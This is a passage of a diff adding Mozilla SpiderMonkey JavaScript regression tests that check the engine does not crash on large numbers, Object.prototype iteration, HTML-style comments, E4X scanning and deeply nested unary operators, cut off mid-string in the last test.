+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-310295.js b/js/src/tests/non262/regress/regress-310295.js
new file mode 100644
index 0000000000..1e0aaacc4c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-310295.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310295;
+var summary = 'Do not crash on JS_ValueToString';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var tmp = 23948730458647527874392837439299837412374859487593;
+
+tmp = new Number(tmp);
+tmp = tmp.valueOf()
+ tmp = String(tmp);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-310607.js b/js/src/tests/non262/regress/regress-310607.js
new file mode 100644
index 0000000000..13d2449ff0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-310607.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310607;
+var summary = 'Do not crash iterating over Object.prototype';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var f = new Foo();
+f.go("bar");
+
+function Foo() {
+ this.go = function(prototype) {
+ printStatus("Start");
+ for(var i in Object.prototype) {
+ printStatus("Here");
+ eval("5+4");
+ }
+ printStatus("End");
+ };
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-310993.js b/js/src/tests/non262/regress/regress-310993.js
new file mode 100644
index 0000000000..da98bb80be
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-310993.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310993;
+var summary = 'treat &lt;! as the start of a comment to end of line';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'foo';
+actual = 'foo';
+
+if (false) <!-- dumbdonkey -->
+ actual = 'bar';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-311071.js b/js/src/tests/non262/regress/regress-311071.js
new file mode 100644
index 0000000000..b563f71636
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-311071.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311071;
+var summary = 'treat &lt;! as the start of a comment to end of line';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'foo';
+actual = 'foo'; <!-- comment hack -->; actual = 'bar';
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-311157-01.js b/js/src/tests/non262/regress/regress-311157-01.js
new file mode 100644
index 0000000000..8c0e074054
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-311157-01.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var BUGNUMBER = 311157;
+var summary = 'Comment-hiding compromise left E4X parsing/scanning inconsistent';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('var x = <hi> <!-- duh -->\n there </hi>');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-311157-02.js b/js/src/tests/non262/regress/regress-311157-02.js
new file mode 100644
index 0000000000..e84f031597
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-311157-02.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var BUGNUMBER = 311157;
+var summary = 'Comment-hiding compromise left E4X parsing/scanning inconsistent';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('var x = <hi> <![CDATA[ duh ]]>\n there </hi>');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-311629.js b/js/src/tests/non262/regress/regress-311629.js
new file mode 100644
index 0000000000..6a4250445e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-311629.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311629;
+var summary = 'Prevent recursive death in UnaryExp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 